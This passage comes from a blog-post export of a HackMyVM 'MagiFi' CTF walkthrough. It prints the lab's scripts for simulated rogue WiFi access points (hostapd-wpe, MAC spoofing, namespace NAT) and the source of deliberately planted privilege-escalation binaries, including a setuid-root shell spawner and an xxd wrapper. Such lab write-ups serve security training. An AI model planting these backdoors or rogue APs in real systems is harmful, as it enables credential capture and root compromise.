\n            #echo $F\n            NEW=`basename $F .tmp`\n            envsubst &lt; $F &gt; $NEW\n            rm $F 2&gt; \/dev\/nil\n        fi\n    done\n}\n\n#LOAD VARIABLES FROM FILE (EXPORT)\nset -a\nsource \/root\/wlan_config_aps\n\n#Replace variables in interfaces.tmp file (one is wrong, its useless, idk :) )\nenvsubst &lt; \/etc\/network\/interfaces.tmp &gt; \/etc\/network\/interfaces\nenvsubst &lt; \/etc\/dnsmasq.conf.tmp &gt; \/etc\/dnsmasq.conf\n\n# Replace var in config AP files\ncd \/root\/mgt\/\nenvsubst_tmp\n\ncd\n\ndate\n\necho &#039;nameserver 8.8.8.8&#039; &gt; \/etc\/resolv.conf\n\n# Wlan first 6 for attacker, next 14 for AP, rest for client\nmkdir -p \/root\/logs\/\nmacchanger -m $MAC_MGT $WLAN_MGT &gt;&gt; \/root\/logs\/macchanger.log\nmacchanger -m $MAC_MGT1 $WLAN_MGT1 &gt;&gt; \/root\/logs\/macchanger.log\nmacchanger -m $MAC_MGT2 $WLAN_MGT2 &gt;&gt; \/root\/logs\/macchanger.log\n\nbash \/root\/cronAPs.sh &gt; \/root\/logs\/cronAPs.log 2&gt;&amp;1 &amp;\n\n# opennds\nopennds &gt; \/root\/logs\/opennds.log 2&gt;&amp;1\n\n# MGT\nip addr add $IP_MGT.1\/24 dev $WLAN_MGT\nhostapd_aps \/root\/mgt\/hostapd_wpe.conf &gt; \/root\/logs\/hostapd_wpe.log &amp;\nip addr add $IP_MGT1.1\/24 dev $WLAN_MGT1\nhostapd_aps \/root\/mgt\/hostapd_wpe1.conf &gt; \/root\/logs\/hostapd_wpe1.log &amp;\nip addr add $IP_MGT2.1\/24 dev $WLAN_MGT2\nhostapd_aps \/root\/mgt\/hostapd_wpe2.conf &gt; \/root\/logs\/hostapd_wpe2.log &amp;\n\n#systemctl stop networking\necho &quot;ALL SET&quot;\n\n\/bin\/bash\n\nwait\nroot@MagiFi:\/root\/Wifi_Docker\/APs\/config# cat cronAPs.sh\nwhile :\ndo\n        dnsmasq\n    sleep 10\ndone &amp; \n\nLAST=$!\nwait $LASTroot@MagiFi:\/root\/Wifi_Docker\/APs\/config# cat connectINET.sh\n#!\/bin\/bash\nNS=&quot;ns-ap&quot;\nip netns exec ${NS} \/bin\/bashroot@MagiFi:\/root\/Wifi_Docker\/APs\/config# cat ns-inet.sh\n#!\/usr\/bin\/env bash\n\nif [[ $EUID -ne 0 ]]; then\n    echo &quot;You must be root to run this script&quot;\n    exit 1\nfi\n\n# Returns all available interfaces, except &quot;lo&quot; and &quot;veth*&quot;.\navailable_interfaces()\n{\n   local ret=()\n\n   local ifaces=$(ip li sh | cut -d &quot; &quot; -f 2 | tr &quot;\\n&quot; &quot; &quot;)\n   read -a arr &lt;&lt;&lt; &quot;$ifaces&quot; \n\n   for each in &quot;${arr[@]}&quot;; do\n      each=${each::-1}\n      if [[ ${each} != &quot;lo&quot; &amp;&amp; ${each} != veth* ]]; then\n         ret+=( &quot;$each&quot; )\n      fi\n   done\n   echo ${ret[@]}\n}\n\nIFACE=&quot;$1&quot;\n#FORCE IFACE\nIFACE=`ip route show | grep &#039;default via&#039; | awk &#039;{print $5}&#039;`\nif [[ -z &quot;$IFACE&quot; ]]; then\n   ifaces=($(available_interfaces))\n   if [[ ${#ifaces[@]} -gt 0 ]]; then\n      IFACE=${ifaces[0]}\n      echo &quot;Using interface $IFACE&quot;\n   else\n      echo &quot;Usage: .\/ns-inet &lt;IFACE&gt;&quot;\n      exit 1\n   fi\nelse\n   IFACE=`ip route show | grep &#039;default via&#039; | awk &#039;{print $5}&#039;`\n   echo &quot;Using interface $IFACE&quot;\nfi\n\nNS=&quot;ns-ap&quot;\nVETH=&quot;veth1&quot;\nVPEER=&quot;vpeer1&quot;\nVETH_ADDR=&quot;10.200.1.1&quot;\nVPEER_ADDR=&quot;10.200.1.2&quot;\n\ntrap cleanup EXIT\n\ncleanup()\n{\n   ip li delete ${VETH} 2&gt;\/dev\/null\n}\n\n# Remove namespace if it exists.\nip netns del $NS &amp;&gt;\/dev\/null\n\n# Create namespace\nip netns add $NS\n\n#----------------------------Wifi VM---------------------------------------------------------\n#if wlan &lt; 20 (AP wifis) no executed \nif [[ $(iw dev | grep wlan | wc -l) -lt 20 ]] ; then\n   sudo modprobe mac80211_hwsim -r\nfi\n\nsudo modprobe mac80211_hwsim radios=61\n\n# Add WiFi interfaces 10-39\n# 6-9 are for attacker but unnused, so ap\nfor I in `seq 6 39` ; do\n        PHY=`ls \/sys\/class\/ieee80211\/*\/device\/net\/ | grep -B1 wlan$I | grep -Eo &#039;phy[0-9]+&#039;`\n        iw phy $PHY set netns name \/run\/netns\/$NS\ndone\n\n#--------------------------------------------------------------------------------------------------\n\n# Create veth link.\nip link add ${VETH} type veth peer name ${VPEER}\n\n# Add peer-1 to NS.\nip link set ${VPEER} netns $NS\n\n# Setup IP address of ${VETH}.\nip addr add ${VETH_ADDR}\/24 dev ${VETH}\nip link set ${VETH} up\n\n# Setup IP ${VPEER}.\nip netns exec $NS ip addr add ${VPEER_ADDR}\/24 dev ${VPEER}\nip netns exec $NS ip link set ${VPEER} up\nip netns exec $NS ip link set lo up\nip netns exec $NS ip route add default via ${VETH_ADDR}\n\n# Enable IP-forwarding.\necho 1 &gt; \/proc\/sys\/net\/ipv4\/ip_forward\n\n# Flush forward rules.\niptables -P FORWARD DROP\niptables -F FORWARD\n\n# Flush nat rules.\niptables -t nat -F\n\n# Enable masquerading of 10.200.1.0.\niptables -t nat -A POSTROUTING -s ${VPEER_ADDR}\/24 -o ${IFACE} -j MASQUERADE\n\niptables -A FORWARD -i ${IFACE} -o ${VETH} -j ACCEPT\niptables -A FORWARD -o ${IFACE} -i ${VETH} -j ACCEPT\n\n# Get into namespace and exec startAP\nip netns exec ${NS} \/bin\/bash \/root\/startAPs.sh --rcfile &lt;(echo &quot;PS1=\\&quot;${NS}&gt; \\&quot;&quot;)\n\n# if closed\nroot@MagiFi:\/root\/Wifi_Docker\/APs\/config# cd ..\/..\/Clients\/\nroot@MagiFi:\/root\/Wifi_Docker\/Clients# ls -la\ntotal 16\ndrwxr-xr-x 3 root root 4096 Sep 25  2024 .\ndrwxr-xr-x 4 root root 4096 Sep 25  2024 ..\ndrwxr-xr-x 3 root root 4096 Sep 25  2024 config\n-rwxr-xr-x 1 root root  800 Sep 26  2024 Dockerfile\nroot@MagiFi:\/root\/Wifi_Docker\/Clients# cat Dockerfile \nFROM debian\n\nRUN apt-get update &amp;&amp; DEBIAN_FRONTEND=noninteractive apt-get install -y macchanger iw sudo libcurl4-openssl-dev curl libz-dev module-assistant libssl-dev libnl-genl-3-dev libnl-3-dev pkg-config libsqlite3-dev git hostapd dnsmasq curl kmod make g++ libnl-3-dev libnl-genl-3-dev wpasupplicant iproute2 net-tools iptables inetutils-ping isc-dhcp-client\nRUN sudo apt-get --yes autoremove ; sudo apt-get autoclean ; sudo apt-get clean\n\nCOPY config\/wlan_config_clients \/root\/\nCOPY config\/mgtClient\/ \/root\/mgtClient\/\nCOPY config\/connectINET.sh \/root\/\nCOPY config\/ns-inet.sh \/root\/\nCOPY config\/startClients.sh \/root\/\nCOPY config\/cronClients.sh \/root\/\n\nRUN cp \/sbin\/wpa_supplicant \/sbin\/wpa_wifi_supplicant\nRUN cp \/sbin\/dhclient \/sbin\/dhclien-wifichallenge\n\nCMD [&quot;\/bin\/bash&quot;, &quot;\/root\/ns-inet.sh&quot;]<\/code><\/pre>\n<h3>\u63d0\u6743\u6587\u4ef6\u6e90\u4ee3\u7801<\/h3>\n<pre><code class=\"language-bash\">root@MagiFi:\/root\/Sources# ls -la\ntotal 76\ndrwxr-xr-x 2 root root        4096 Feb 13 07:31 .\ndrwx------ 7 root root        4096 Feb 13 06:39 ..\n-rwxr-xr-x 1 root root       17136 Sep 25  2024 .horcrux\n-rw-rw-r-- 1 root root         611 Sep 25  2024 horcrux.c\n-rwxr-x--- 1 root tom.riddle 17136 Feb  4 10:07 .horcrux.png\n-rwxr-xr-x 1 root root       17400 Feb 13 07:31 xxd_horcrux\n-rw-r--r-- 1 root root        2158 Feb 13 07:31 xxd_horcrux.c\nroot@MagiFi:\/root\/Sources# cat horcrux.c\n#include &lt;stdio.h&gt;\n#include &lt;stdlib.h&gt;\n#include &lt;unistd.h&gt;\n#include &lt;fcntl.h&gt;\n#include &lt;string.h&gt;\n\nint main() {\n    unsigned char expected_bytes[] = {0x7f, 0x45, 0x4c, 0x46};\n    unsigned char actual_bytes[4];\n    int fd = open(&quot;\/proc\/self\/exe&quot;, O_RDONLY);\n\n    if (fd &lt; 0) {\n        perror(&quot;Error opening the file&quot;);\n        exit(1);\n    }\n\n    read(fd, actual_bytes, 4);\n    close(fd);\n\n    if (memcmp(actual_bytes, expected_bytes, 4) != 0) {\n        printf(&quot;Not every magician can use or destroy a Horcrux!\\n&quot;);\n        exit(1);\n    }\n\n    setuid(0);\n    setgid(0);\n    system(&quot;\/bin\/bash&quot;);\n\n    return 0;\n}\nroot@MagiFi:\/root\/Sources# cat xxd_horcrux.c\n#include &lt;stdio.h&gt;\n#include &lt;stdlib.h&gt;\n#include &lt;string.h&gt;\n#include &lt;unistd.h&gt;\n#include &lt;fcntl.h&gt;\n#include &lt;sys\/types.h&gt;\n#include &lt;sys\/stat.h&gt;\n#include &lt;sys\/wait.h&gt;\n#include &lt;pwd.h&gt;\n\nvoid show_help() {\n    char *xxd_path = &quot;\/usr\/bin\/xxd&quot;;\n    char *help_args[] = {xxd_path, &quot;--help&quot;, NULL};\n    pid_t pid = fork();\n\n    if (pid == 0) {\n        execvp(xxd_path, help_args);\n        exit(1);\n    } else if (pid &gt; 0) {\n        wait(NULL);\n        printf(&quot;    -O &lt;file&gt;   specify output file (only horcruxes are allowed).\\n&quot;);\n    } else {\n        perror(&quot;Error forking&quot;);\n    }\n}\n\nint main(int argc, char *argv[]) {\n    char *xxd_path = &quot;\/usr\/bin\/xxd&quot;;\n    char *output_file = NULL;\n\n    struct passwd *pw = getpwuid(getuid());\n    if (pw == NULL || strcmp(pw-&gt;pw_name, &quot;tom.riddle&quot;) != 0) {\n        fprintf(stderr, &quot;You are not worthy to handle the Horcrux!\\n&quot;);\n        return 1;\n    }\n\n    if (argc &lt; 2 || strcmp(argv[1], &quot;-h&quot;) == 0 || strcmp(argv[1], &quot;--help&quot;) == 0) {\n        show_help();\n        return 1;\n    }\n\n    for (int i = 1; i &lt; argc; i++) {\n        if (strcmp(argv[i], &quot;-O&quot;) == 0 &amp;&amp; i + 1 &lt; argc) {\n            output_file = argv[i + 1];\n            argv[i] = NULL;\n            argv[i + 1] = NULL;\n            break;\n        }\n        if (strncmp(argv[i], &quot;\/root\/&quot;, 6) == 0 || strncmp(argv[i], &quot;\/etc\/&quot;, 5) == 0) {\n            fprintf(stderr, &quot;I hate dealing with Muggle gadgets!\\n&quot;);\n            return 1;\n        }\n    }\n\n    if (output_file == NULL) {\n        fprintf(stderr, &quot;Error: Output file can&#039;t be empty, use the -O option.\\n&quot;);\n        show_help();\n        return 1;\n    }\n\n    if (strcmp(output_file, &quot;.horcrux.png&quot;) != 0) {\n        fprintf(stderr, &quot;Not every wizards can use or destroy a Horcrux!\\n&quot;);\n        return 1;\n    }\n\n    int out_fd = open(output_file, O_WRONLY | O_CREAT | O_TRUNC, 0600);\n    if (out_fd &lt; 0) {\n        perror(&quot;Error opening output file&quot;);\n        return 1;\n    }\n\n    if (dup2(out_fd, STDOUT_FILENO) &lt; 0) {\n        perror(&quot;Error redirecting output to file&quot;);\n        close(out_fd);\n        return 1;\n    }\n\n    close(out_fd);\n\n    execvp(xxd_path, argv);\n\n    perror(&quot;Error executing xxd&quot;);\n    return 1;\n}<\/code><\/pre>\n<h2>\u53c2\u8003<\/h2>\n<p><a href=\"https:\/\/www.bilibili.com\/video\/BV1LeKjejEuQ\/\">https:\/\/www.bilibili.com\/video\/BV1LeKjejEuQ\/<\/a><\/p>\n<p><a href=\"https:\/\/sunsetaction.top\/2025\/04\/03\/HackMyVMMagifi\/\">https:\/\/sunsetaction.top\/2025\/04\/03\/HackMyVMMagifi\/<\/a><\/p>\n<p><a href=\"https:\/\/www.bilibili.com\/video\/BV1YvXXY5EUC\/\">https:\/\/www.bilibili.com\/video\/BV1YvXXY5EUC\/<\/a><\/p>\n<p><a href=\"https:\/\/xavilok.es\/hackmyvm---magifi\">https:\/\/xavilok.es\/hackmyvm---magifi<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Magifi \u4fe1\u606f\u641c\u96c6 \u7aef\u53e3\u626b\u63cf \u250c\u2500\u2500(kali\u327fkali)-[~\/temp\/Magifi] \u2514\u2500$ rus [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[11,24,19,18],"tags":[],"class_list":["post-906","post","type-post","status-publish","format-standard","hentry","category-ctf-and-protest","category-penetration-test","category-pwn","category-web"],"_links":{"self":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts\/906","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/comments?post=906"}],"version-history":[{"count":1,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts\/906\/revisions"}],"predecessor-version":[{"id":907,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts\/906\/revisions\/907"}],"wp:attachment":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/media?parent=906"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/categories?post=906"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/tags?post=906"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}